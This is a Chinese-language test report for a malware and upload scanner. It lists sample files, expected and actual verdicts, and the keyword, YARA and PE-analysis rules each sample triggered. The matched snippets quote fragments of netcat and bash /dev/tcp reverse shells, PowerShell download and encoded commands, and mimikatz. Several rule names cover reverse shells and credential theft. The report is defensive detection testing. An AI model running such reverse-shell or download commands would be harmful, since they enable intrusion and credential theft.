- **判定理由**: 零容忍规则 RemoteDownloadPowerShell 命中:词表命中:RemoteDownloadPowerShell(模式=regex),命中 1 处:['cument.xmlInvoke-WebRequest -Uri http']
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `keywords` | `L2B` | `high` | `RemoteDownloadPowerShell` | 35.0 | 词表命中:RemoteDownloadPowerShell(模式=regex),命中 1 处:['cument.xmlInvoke-WebRequest -Uri http'] |
|
||
| `yara` | `L2B` | `low` | `Test_PowerShell_Download` | 10.0 | YARA 规则 Test_PowerShell_Download 命中(标签:无) |
|
||
|
||
#### ✅ L3-016 — `L3-016_016_sample.ps1`
|
||
|
||
- **描述**: 空脚本文件(负样本)
|
||
- **文件大小**: 0 B
|
||
- **预期**: `pass`
|
||
- **实际**: `suspicious` (score=30.0, action=manual_review)
|
||
- **判定理由**: structure:文件类型为可执行/脚本格式:.ps1
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.ps1 |
|
||
|
||
#### ✅ L3-017 — `L3-017_017_sample.txt`
|
||
|
||
- **描述**: 多条高危特征同文件复合
|
||
- **文件大小**: 39 B
|
||
- **预期**: `review`
|
||
- **实际**: `malicious` (score=100.0, action=reject)
|
||
- **判定理由**: 零容忍规则 ReverseShellNetcat 命中:词表命中:ReverseShellNetcat(模式=regex),命中 1 处:['nc -lv 4444']
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `keywords` | `L2B` | `critical` | `ReverseShellNetcat` | 40.0 | 词表命中:ReverseShellNetcat(模式=regex),命中 1 处:['nc -lv 4444'] |
|
||
| `keywords` | `L2B` | `critical` | `CredentialStealer` | 45.0 | 词表命中:CredentialStealer(模式=regex),命中 1 处:['lv 4444 & mimikatz privilege'] |
|
||
|
||
#### ✅ L3-018 — `L3-018_018_sample.txt`
|
||
|
||
- **描述**: 高危字符串大小写混写
|
||
- **文件大小**: 34 B
|
||
- **预期**: `review`
|
||
- **实际**: `malicious` (score=100.0, action=reject)
|
||
- **判定理由**: 零容忍规则 RemoteDownloadPowerShell 命中:词表命中:RemoteDownloadPowerShell(模式=regex),命中 1 处:['iNvOkE-WebReQuEsT https://e']
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `keywords` | `L2B` | `high` | `RemoteDownloadPowerShell` | 35.0 | 词表命中:RemoteDownloadPowerShell(模式=regex),命中 1 处:['iNvOkE-WebReQuEsT https://e'] |
|
||
|
||
#### ✅ L3-019 — `L3-019_unicode_obfuscated.txt`
|
||
|
||
- **描述**: 同形字混淆,L3 默认不命中
|
||
- **文件大小**: 35 B
|
||
- **预期**: `pass`
|
||
- **实际**: `clean` (score=0.0, action=pass)
|
||
- **判定理由**: 未发现安全风险
|
||
|
||
**命中规则:** 无
|
||
|
||
#### ✅ L3-020 — `L3-020_log_with_keyword.log`
|
||
|
||
- **描述**: 日志文件混杂正常日志+高危串
|
||
- **文件大小**: 163 B
|
||
- **预期**: `reject`
|
||
- **实际**: `malicious` (score=95.0, action=reject)
|
||
- **判定理由**: 风险评分 95.0
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `yara` | `L2B` | `low` | `C7_Linux_ReverseShell_NC` | 85.0 | YARA 规则 C7_Linux_ReverseShell_NC 命中(标签:无) |
|
||
| `yara` | `L2B` | `low` | `Test_ReverseShell_Basic` | 10.0 | YARA 规则 Test_ReverseShell_Basic 命中(标签:无) |
|
||
|
||
#### ✅ L3-021 — `L3-021_021_sample.eml`
|
||
|
||
- **描述**: 高危字符串放在eml邮件正文
|
||
- **文件大小**: 89 B
|
||
- **预期**: `review`
|
||
- **实际**: `malicious` (score=100.0, action=reject)
|
||
- **判定理由**: 零容忍规则 RemoteDownloadPowerShell 命中:词表命中:RemoteDownloadPowerShell(模式=regex),命中 1 处:['r@evil.comInvoke-WebRequest -Uri http']
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `keywords` | `L2B` | `high` | `RemoteDownloadPowerShell` | 35.0 | 词表命中:RemoteDownloadPowerShell(模式=regex),命中 1 处:['r@evil.comInvoke-WebRequest -Uri http'] |
|
||
| `yara` | `L2B` | `low` | `Test_PowerShell_Download` | 10.0 | YARA 规则 Test_PowerShell_Download 命中(标签:无) |
|
||
|
||
#### ✅ L3-022 — `L3-022_layer_off_sample.bin`
|
||
|
||
- **描述**: 关闭分层开关测试占位
|
||
- **文件大小**: 57 B
|
||
- **预期**: `review`
|
||
- **实际**: `malicious` (score=100.0, action=reject)
|
||
- **判定理由**: 零容忍规则 RemoteDownloadPowerShell 命中:词表命中:RemoteDownloadPowerShell(模式=regex),命中 1 处:['Invoke-WebRequest -Uri http']
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `high` | `ExtensionMismatch` | 30.0 | 扩展名声明为 .bin,实际内容为 ASCII text, with no line terminators(.txt) |
|
||
| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.bin |
|
||
| `keywords` | `L2B` | `high` | `RemoteDownloadPowerShell` | 35.0 | 词表命中:RemoteDownloadPowerShell(模式=regex),命中 1 处:['Invoke-WebRequest -Uri http'] |
|
||
| `yara` | `L2B` | `low` | `Test_PowerShell_Download` | 10.0 | YARA 规则 Test_PowerShell_Download 命中(标签:无) |
|
||
| `binary` | `L2B` | `medium` | `PeParseFailed` | 10.0 | PE 结构解析失败:'Unable to read the DOS Header, possibly a truncated file.' |
|
||
|
||
#### ✅ L3-023 — `L3-023_keyword_in_encrypted.zip`
|
||
|
||
- **描述**: 加密 zip 内容无法扫描(标记)
|
||
- **文件大小**: 139 B
|
||
- **预期**: `review`
|
||
- **实际**: `malicious` (score=100.0, action=reject)
|
||
- **判定理由**: 零容忍规则 CredentialStealer 命中:词表命中:CredentialStealer(模式=regex),命中 1 处:['?Jevil.txtmimikatz privilege']
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `keywords` | `L2B` | `critical` | `CredentialStealer` | 45.0 | 词表命中:CredentialStealer(模式=regex),命中 1 处:['?Jevil.txtmimikatz privilege'] |
|
||
|
||
#### ✅ L3-024 — `L3-024_024_sample.txt`
|
||
|
||
- **描述**: 超长单行文本(10万字符)包含高危串
|
||
- **文件大小**: 100,035 B
|
||
- **预期**: `review`
|
||
- **实际**: `malicious` (score=100.0, action=reject)
|
||
- **判定理由**: 零容忍规则 RemoteDownloadPowerShell 命中:词表命中:RemoteDownloadPowerShell(模式=regex),命中 1 处:['Invoke-WebRequest xxxxxxxxx']
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `keywords` | `L2B` | `high` | `RemoteDownloadPowerShell` | 35.0 | 词表命中:RemoteDownloadPowerShell(模式=regex),命中 1 处:['Invoke-WebRequest xxxxxxxxx'] |
|
||
|
||
#### ✅ L3-025 — `L3-025_whitelist_test.txt`
|
||
|
||
- **描述**: 内网白名单域名对照(策略层白名单)
|
||
- **文件大小**: 87 B
|
||
- **预期**: `review`
|
||
- **实际**: `malicious` (score=100.0, action=reject)
|
||
- **判定理由**: 零容忍规则 RemoteDownloadPowerShell 命中:词表命中:RemoteDownloadPowerShell(模式=regex),命中 1 处:['Invoke-WebRequest -Uri http']
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `keywords` | `L2B` | `high` | `RemoteDownloadPowerShell` | 35.0 | 词表命中:RemoteDownloadPowerShell(模式=regex),命中 1 处:['Invoke-WebRequest -Uri http'] |
|
||
| `yara` | `L2B` | `low` | `Test_PowerShell_Download` | 10.0 | YARA 规则 Test_PowerShell_Download 命中(标签:无) |
|
||
|
||
### L4
|
||
|
||
#### ✅ L4-001 — `L4-001_001_sample.txt`
|
||
|
||
- **描述**: YARA正向命中占位(需对应规则)
|
||
- **文件大小**: 85 B
|
||
- **预期**: `review`
|
||
- **实际**: `malicious` (score=100.0, action=reject)
|
||
- **判定理由**: 零容忍规则 ReverseShellNetcat 命中:词表命中:ReverseShellNetcat(模式=regex),命中 2 处:['-e cmd.exebash -i >& /dev/tcp/', 'ash -i >& /dev/tcp/10.0.0.5/4']
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `keywords` | `L2B` | `critical` | `ReverseShellNetcat` | 40.0 | 词表命中:ReverseShellNetcat(模式=regex),命中 2 处:['-e cmd.exebash -i >& /dev/tcp/', 'ash -i >& /dev/tcp/10.0.0.5/4'] |
|
||
| `yara` | `L2B` | `low` | `C7_Linux_ReverseShell_Bash` | 85.0 | YARA 规则 C7_Linux_ReverseShell_Bash 命中(标签:无) |
|
||
| `yara` | `L2B` | `low` | `Test_ReverseShell_Basic` | 10.0 | YARA 规则 Test_ReverseShell_Basic 命中(标签:无) |
|
||
|
||
#### ✅ L4-002 — `L4-002_002_sample.txt`
|
||
|
||
- **描述**: 干净对照
|
||
- **文件大小**: 42 B
|
||
- **预期**: `pass`
|
||
- **实际**: `clean` (score=0.0, action=pass)
|
||
- **判定理由**: 未发现安全风险
|
||
|
||
**命中规则:** 无
|
||
|
||
#### ✅ L4-003 — `L4-003_pe_with_string.exe`
|
||
|
||
- **描述**: 二进制内嵌匹配字符串
|
||
- **文件大小**: 928 B
|
||
- **预期**: `review`
|
||
- **实际**: `malicious` (score=75.0, action=reject)
|
||
- **判定理由**: structure:文件类型为可执行/脚本格式:.exe
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `critical` | `DangerousExecutableExtension` | 45.0 | 文件类型为可执行/脚本格式:.exe |
|
||
| `binary` | `L2B` | `medium` | `UnsignedExecutable` | 20.0 | 可执行文件未携带数字签名 |
|
||
| `binary` | `L2B` | `low` | `SuspiciousTimestamp` | 10.0 | PE 编译时间戳异常,可能被伪造 |
|
||
| `binary` | `L2B` | `low` | `PEArchInfo` | 0.0 | PE 架构:0x014c / 32-bit |
|
||
|
||
#### ✅ L4-004 — `L4-004_multi_rule_match.txt`
|
||
|
||
- **描述**: 同一个文件同时命中多条 YARA
|
||
- **文件大小**: 128 B
|
||
- **预期**: `review`
|
||
- **实际**: `malicious` (score=100.0, action=reject)
|
||
- **判定理由**: 零容忍规则 RemoteDownloadPowerShell 命中:词表命中:RemoteDownloadPowerShell(模式=regex),命中 1 处:['-e /bin/shInvoke-WebRequest -Uri http']
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `keywords` | `L2B` | `high` | `RemoteDownloadPowerShell` | 35.0 | 词表命中:RemoteDownloadPowerShell(模式=regex),命中 1 处:['-e /bin/shInvoke-WebRequest -Uri http'] |
|
||
| `yara` | `L2B` | `low` | `C7_Linux_ReverseShell_NC` | 85.0 | YARA 规则 C7_Linux_ReverseShell_NC 命中(标签:无) |
|
||
| `yara` | `L2B` | `low` | `Test_ReverseShell_Basic` | 10.0 | YARA 规则 Test_ReverseShell_Basic 命中(标签:无) |
|
||
| `yara` | `L2B` | `low` | `Test_PowerShell_Download` | 10.0 | YARA 规则 Test_PowerShell_Download 命中(标签:无) |
|
||
|
||
#### ✅ L4-005 — `L4-005_005_sample.txt`
|
||
|
||
- **描述**: 热加载测试占位
|
||
- **文件大小**: 153 B
|
||
- **预期**: `review`
|
||
- **实际**: `suspicious` (score=10.0, action=pass_with_flag)
|
||
- **判定理由**: 风险评分 10.0
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `yara` | `L2B` | `low` | `Newly_Added_Rule_Test` | 10.0 | YARA 规则 Newly_Added_Rule_Test 命中(标签:无) |
|
||
|
||
#### ✅ L4-006 — `L4-006_bad_syntax_rule.yar`
|
||
|
||
- **描述**: 语法错误 YARA 规则文件(输入给规则目录)
|
||
- **文件大小**: 43 B
|
||
- **预期**: `review`
|
||
- **实际**: `reject` (score=100.0, action=reject)
|
||
- **判定理由**: 文件类型 .yar 不在允许清单内
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `high` | `ExtensionMismatch` | 30.0 | 扩展名声明为 .yar,实际内容为 ASCII text, with no line terminators(.txt) |
|
||
|
||
#### ✅ L4-007 — `L4-007_meta_rule_match.txt`
|
||
|
||
- **描述**: 带 meta 的 YARA 规则匹配
|
||
- **文件大小**: 21 B
|
||
- **预期**: `review`
|
||
- **实际**: `suspicious` (score=10.0, action=pass_with_flag)
|
||
- **判定理由**: 风险评分 10.0
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `yara` | `L2B` | `low` | `Meta_Label_Test` | 10.0 | YARA 规则 Meta_Label_Test 命中(标签:无) |
|
||
|
||
#### ✅ L4-008 — `L4-008_in_zip.zip`
|
||
|
||
- **描述**: 压缩包内文件匹配YARA规则
|
||
- **文件大小**: 183 B
|
||
- **预期**: `review`
|
||
- **实际**: `malicious` (score=100.0, action=reject)
|
||
- **判定理由**: 零容忍规则 ReverseShellNetcat 命中:词表命中:ReverseShellNetcat(模式=regex),命中 1 处:['nside zip:nc 192.168.1']
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `keywords` | `L2B` | `critical` | `ReverseShellNetcat` | 40.0 | 词表命中:ReverseShellNetcat(模式=regex),命中 1 处:['nside zip:nc 192.168.1'] |
|
||
| `yara` | `L2B` | `low` | `C7_Linux_ReverseShell_NC` | 85.0 | YARA 规则 C7_Linux_ReverseShell_NC 命中(标签:无) |
|
||
| `yara` | `L2B` | `low` | `Test_ReverseShell_Basic` | 10.0 | YARA 规则 Test_ReverseShell_Basic 命中(标签:无) |
|
||
|
||
#### ✅ L4-009 — `L4-009_yara_in_encrypted.zip`
|
||
|
||
- **描述**: 加密 zip 内 YARA 样本
|
||
- **文件大小**: 150 B
|
||
- **预期**: `pass`
|
||
- **实际**: `clean` (score=0.0, action=pass)
|
||
- **判定理由**: 未发现安全风险
|
||
|
||
**命中规则:** 无
|
||
|
||
#### ✅ L4-010 — `L4-010_010_sample.txt`
|
||
|
||
- **描述**: 正则 YARA 测试占位
|
||
- **文件大小**: 165 B
|
||
- **预期**: `review`
|
||
- **实际**: `malicious` (score=100.0, action=reject)
|
||
- **判定理由**: 零容忍规则 ReverseShellPowershell 命中:词表命中:ReverseShellPowershell(模式=regex),命中 1 处:['r payload:powershell -enc SQBFAFgAI']
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `keywords` | `L2B` | `critical` | `ReverseShellPowershell` | 35.0 | 词表命中:ReverseShellPowershell(模式=regex),命中 1 处:['r payload:powershell -enc SQBFAFgAI'] |
|
||
| `yara` | `L2B` | `low` | `Regex_Shell_Pattern` | 10.0 | YARA 规则 Regex_Shell_Pattern 命中(标签:无) |
|
||
|
||
#### ✅ L4-011 — `L4-011_count_condition.txt`
|
||
|
||
- **描述**: YARA count > 3 条件
|
||
- **文件大小**: 140 B
|
||
- **预期**: `review`
|
||
- **实际**: `suspicious` (score=10.0, action=pass_with_flag)
|
||
- **判定理由**: 风险评分 10.0
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `yara` | `L2B` | `low` | `Count_Condition_Test` | 10.0 | YARA 规则 Count_Condition_Test 命中(标签:无) |
|
||
|
||
#### ✅ L4-012 — `L4-012_size_condition.bin`
|
||
|
||
- **描述**: YARA 文件大小条件
|
||
- **文件大小**: 29 B
|
||
- **预期**: `review`
|
||
- **实际**: `reject` (score=100.0, action=reject)
|
||
- **判定理由**: 声明扩展名与真实类型不一致,疑似伪装
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `high` | `ExtensionMismatch` | 30.0 | 扩展名声明为 .bin,实际内容为 ASCII text, with no line terminators(.txt) |
|
||
| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.bin |
|
||
| `binary` | `L2B` | `medium` | `PeParseFailed` | 10.0 | PE 结构解析失败:'Unable to read the DOS Header, possibly a truncated file.' |
|
||
|
||
#### ✅ L4-013 — `L4-013_bigfile_yara.txt`
|
||
|
||
- **描述**: 100MB 文件 YARA 扫描
|
||
- **文件大小**: 2,000,118 B
|
||
- **预期**: `review`
|
||
- **实际**: `malicious` (score=100.0, action=reject)
|
||
- **判定理由**: 风险评分 100.0
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `yara` | `L2B` | `low` | `C7_Linux_ReverseShell_Bash` | 85.0 | YARA 规则 C7_Linux_ReverseShell_Bash 命中(标签:无) |
|
||
| `yara` | `L2B` | `low` | `C7_Linux_ReverseShell_NC` | 85.0 | YARA 规则 C7_Linux_ReverseShell_NC 命中(标签:无) |
|
||
| `yara` | `L2B` | `low` | `C7_Linux_ReverseShell_Misc` | 25.0 | YARA 规则 C7_Linux_ReverseShell_Misc 命中(标签:无) |
|
||
| `yara` | `L2B` | `low` | `Test_ReverseShell_Basic` | 10.0 | YARA 规则 Test_ReverseShell_Basic 命中(标签:无) |
|
||
|
||
#### ✅ L4-014 — `L4-014_layer_off_sample.bin`
|
||
|
||
- **描述**: 关闭分层开关测试占位
|
||
- **文件大小**: 21 B
|
||
- **预期**: `review`
|
||
- **实际**: `reject` (score=100.0, action=reject)
|
||
- **判定理由**: 声明扩展名与真实类型不一致,疑似伪装
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `high` | `ExtensionMismatch` | 30.0 | 扩展名声明为 .bin,实际内容为 ASCII text, with no line terminators(.txt) |
|
||
| `structure` | `L0` | `high` | `DangerousExecutableExtension` | 30.0 | 文件类型为可执行/脚本格式:.bin |
|
||
| `binary` | `L2B` | `medium` | `PeParseFailed` | 10.0 | PE 结构解析失败:'Unable to read the DOS Header, possibly a truncated file.' |
|
||
|
||
#### ✅ L4-015 — `L4-015_hash_whitelist.txt`
|
||
|
||
- **描述**: MD5 在白名单
|
||
- **文件大小**: 19 B
|
||
- **预期**: `pass`
|
||
- **实际**: `clean` (score=0.0, action=pass)
|
||
- **判定理由**: 未发现安全风险
|
||
|
||
**命中规则:** 无
|
||
|
||
### L5
|
||
|
||
#### ✅ L5-001 — `L5-001_clean_hello.exe`
|
||
|
||
- **描述**: 原生干净HelloWorld PE(无壳)
|
||
- **文件大小**: 926 B
|
||
- **预期**: `pass`
|
||
- **实际**: `suspicious` (score=55.0, action=manual_review)
|
||
- **判定理由**: structure:文件类型为可执行/脚本格式:.exe
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `critical` | `DangerousExecutableExtension` | 45.0 | 文件类型为可执行/脚本格式:.exe |
|
||
| `binary` | `L2B` | `medium` | `PeParseFailed` | 10.0 | PE 结构解析失败:'Invalid NT Headers signature.' |
|
||
|
||
#### ✅ L5-002 — `L5-002_upx_shell.exe`
|
||
|
||
- **描述**: UPX0/UPX1 节名
|
||
- **文件大小**: 926 B
|
||
- **预期**: `review`
|
||
- **实际**: `malicious` (score=100.0, action=reject)
|
||
- **判定理由**: structure:文件类型为可执行/脚本格式:.exe;binary:手工 PE 分析检测到可写且可执行的危险节:UPX0
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `critical` | `DangerousExecutableExtension` | 45.0 | 文件类型为可执行/脚本格式:.exe |
|
||
| `binary` | `L2B` | `medium` | `PeParseFailed` | 10.0 | PE 结构解析失败:'Invalid NT Headers signature.' |
|
||
| `binary` | `L2B` | `high` | `RWXSectionDetected` | 50.0 | 手工 PE 分析检测到可写且可执行的危险节:UPX0 |
|
||
|
||
#### ✅ L5-003 — `L5-003_double_upx.exe`
|
||
|
||
- **描述**: UPX加壳PE,二次压缩
|
||
- **文件大小**: 926 B
|
||
- **预期**: `review`
|
||
- **实际**: `malicious` (score=100.0, action=reject)
|
||
- **判定理由**: structure:文件类型为可执行/脚本格式:.exe;binary:手工 PE 分析检测到可写且可执行的危险节:UPX0
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `critical` | `DangerousExecutableExtension` | 45.0 | 文件类型为可执行/脚本格式:.exe |
|
||
| `binary` | `L2B` | `medium` | `PeParseFailed` | 10.0 | PE 结构解析失败:'Invalid NT Headers signature.' |
|
||
| `binary` | `L2B` | `high` | `RWXSectionDetected` | 50.0 | 手工 PE 分析检测到可写且可执行的危险节:UPX0 |
|
||
|
||
#### ✅ L5-004 — `L5-004_rwx_section.exe`
|
||
|
||
- **描述**: 节属性 RWX
|
||
- **文件大小**: 926 B
|
||
- **预期**: `reject`
|
||
- **实际**: `malicious` (score=100.0, action=reject)
|
||
- **判定理由**: structure:文件类型为可执行/脚本格式:.exe;binary:手工 PE 分析检测到可写且可执行的危险节:.text
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `critical` | `DangerousExecutableExtension` | 45.0 | 文件类型为可执行/脚本格式:.exe |
|
||
| `binary` | `L2B` | `medium` | `PeParseFailed` | 10.0 | PE 结构解析失败:'Invalid NT Headers signature.' |
|
||
| `binary` | `L2B` | `high` | `RWXSectionDetected` | 50.0 | 手工 PE 分析检测到可写且可执行的危险节:.text |
|
||
|
||
#### ✅ L5-005 — `L5-005_injection_imports.exe`
|
||
|
||
- **描述**: 注入组合导入(需要真实 pefile 引入 API)
|
||
- **文件大小**: 928 B
|
||
- **预期**: `reject`
|
||
- **实际**: `malicious` (score=75.0, action=reject)
|
||
- **判定理由**: structure:文件类型为可执行/脚本格式:.exe
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `critical` | `DangerousExecutableExtension` | 45.0 | 文件类型为可执行/脚本格式:.exe |
|
||
| `binary` | `L2B` | `medium` | `UnsignedExecutable` | 20.0 | 可执行文件未携带数字签名 |
|
||
| `binary` | `L2B` | `low` | `SuspiciousTimestamp` | 10.0 | PE 编译时间戳异常,可能被伪造 |
|
||
| `binary` | `L2B` | `low` | `PEArchInfo` | 0.0 | PE 架构:0x014c / 32-bit |
|
||
|
||
#### ✅ L5-006 — `L5-006_single_virtualalloc.exe`
|
||
|
||
- **描述**: 单一可疑内存 API
|
||
- **文件大小**: 928 B
|
||
- **预期**: `review`
|
||
- **实际**: `malicious` (score=75.0, action=reject)
|
||
- **判定理由**: structure:文件类型为可执行/脚本格式:.exe
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `critical` | `DangerousExecutableExtension` | 45.0 | 文件类型为可执行/脚本格式:.exe |
|
||
| `binary` | `L2B` | `medium` | `UnsignedExecutable` | 20.0 | 可执行文件未携带数字签名 |
|
||
| `binary` | `L2B` | `low` | `SuspiciousTimestamp` | 10.0 | PE 编译时间戳异常,可能被伪造 |
|
||
| `binary` | `L2B` | `low` | `PEArchInfo` | 0.0 | PE 架构:0x014c / 32-bit |
|
||
|
||
#### ✅ L5-007 — `L5-007_garbage_section.exe`
|
||
|
||
- **描述**: 节名乱码
|
||
- **文件大小**: 926 B
|
||
- **预期**: `review`
|
||
- **实际**: `suspicious` (score=55.0, action=manual_review)
|
||
- **判定理由**: structure:文件类型为可执行/脚本格式:.exe
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `critical` | `DangerousExecutableExtension` | 45.0 | 文件类型为可执行/脚本格式:.exe |
|
||
| `binary` | `L2B` | `medium` | `PeParseFailed` | 10.0 | PE 结构解析失败:'Invalid NT Headers signature.' |
|
||
|
||
#### ✅ L5-008 — `L5-008_many_exports.exe`
|
||
|
||
- **描述**: 导出表异常(需真实工具生成)
|
||
- **文件大小**: 928 B
|
||
- **预期**: `review`
|
||
- **实际**: `malicious` (score=75.0, action=reject)
|
||
- **判定理由**: structure:文件类型为可执行/脚本格式:.exe
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `critical` | `DangerousExecutableExtension` | 45.0 | 文件类型为可执行/脚本格式:.exe |
|
||
| `binary` | `L2B` | `medium` | `UnsignedExecutable` | 20.0 | 可执行文件未携带数字签名 |
|
||
| `binary` | `L2B` | `low` | `SuspiciousTimestamp` | 10.0 | PE 编译时间戳异常,可能被伪造 |
|
||
| `binary` | `L2B` | `low` | `PEArchInfo` | 0.0 | PE 架构:0x014c / 32-bit |
|
||
|
||
#### ✅ L5-009 — `L5-009_shell_in_resource.exe`
|
||
|
||
- **描述**: 资源段内嵌字符串(占位)
|
||
- **文件大小**: 928 B
|
||
- **预期**: `review`
|
||
- **实际**: `malicious` (score=75.0, action=reject)
|
||
- **判定理由**: structure:文件类型为可执行/脚本格式:.exe
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `critical` | `DangerousExecutableExtension` | 45.0 | 文件类型为可执行/脚本格式:.exe |
|
||
| `binary` | `L2B` | `medium` | `UnsignedExecutable` | 20.0 | 可执行文件未携带数字签名 |
|
||
| `binary` | `L2B` | `low` | `SuspiciousTimestamp` | 10.0 | PE 编译时间戳异常,可能被伪造 |
|
||
| `binary` | `L2B` | `low` | `PEArchInfo` | 0.0 | PE 架构:0x014c / 32-bit |
|
||
|
||
#### ✅ L5-010 — `L5-010_bad_mz.exe`
|
||
|
||
- **描述**: PE 头非法
|
||
- **文件大小**: 2,048 B
|
||
- **预期**: `review`
|
||
- **实际**: `reject` (score=100.0, action=reject)
|
||
- **判定理由**: 声明扩展名与真实类型不一致,疑似伪装
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `high` | `ExtensionMismatch` | 30.0 | 扩展名声明为 .exe,实际内容为 ASCII text, with no line terminators(.txt) |
|
||
| `structure` | `L0` | `critical` | `DangerousExecutableExtension` | 45.0 | 文件类型为可执行/脚本格式:.exe |
|
||
| `binary` | `L2B` | `medium` | `PeParseFailed` | 10.0 | PE 结构解析失败:'DOS Header magic not found.' |
|
||
|
||
#### ✅ L5-011 — `L5-011_truncated.exe`
|
||
|
||
- **描述**: 截断 PE
|
||
- **文件大小**: 308 B
|
||
- **预期**: `review`
|
||
- **实际**: `suspicious` (score=55.0, action=manual_review)
|
||
- **判定理由**: structure:文件类型为可执行/脚本格式:.exe
|
||
|
||
**命中规则:**
|
||
|
||
| 引擎 | 层 | 严重度 | 规则 | 权重 | 详情 |
|
||
|------|----|--------|------|-----:|------|
|
||
| `structure` | `L0` | `critical` | `DangerousExecutableExtension` | 45.0 | 文件类型为可执行/脚本格式:.exe |
|
||
| `binary` | `L2B` | `medium` | `PeParseFailed` | 10.0 | PE 结构解析失败:'Invalid NT Headers signature.' |
|
||
|
||
#### ✅ L5-012 — `L5-012_pe32.exe`
|
||
|
||
- **描述**: 32 位识别
|
||
- **文件大小**: 926 B
|
||
- **预期**: `pass`
|
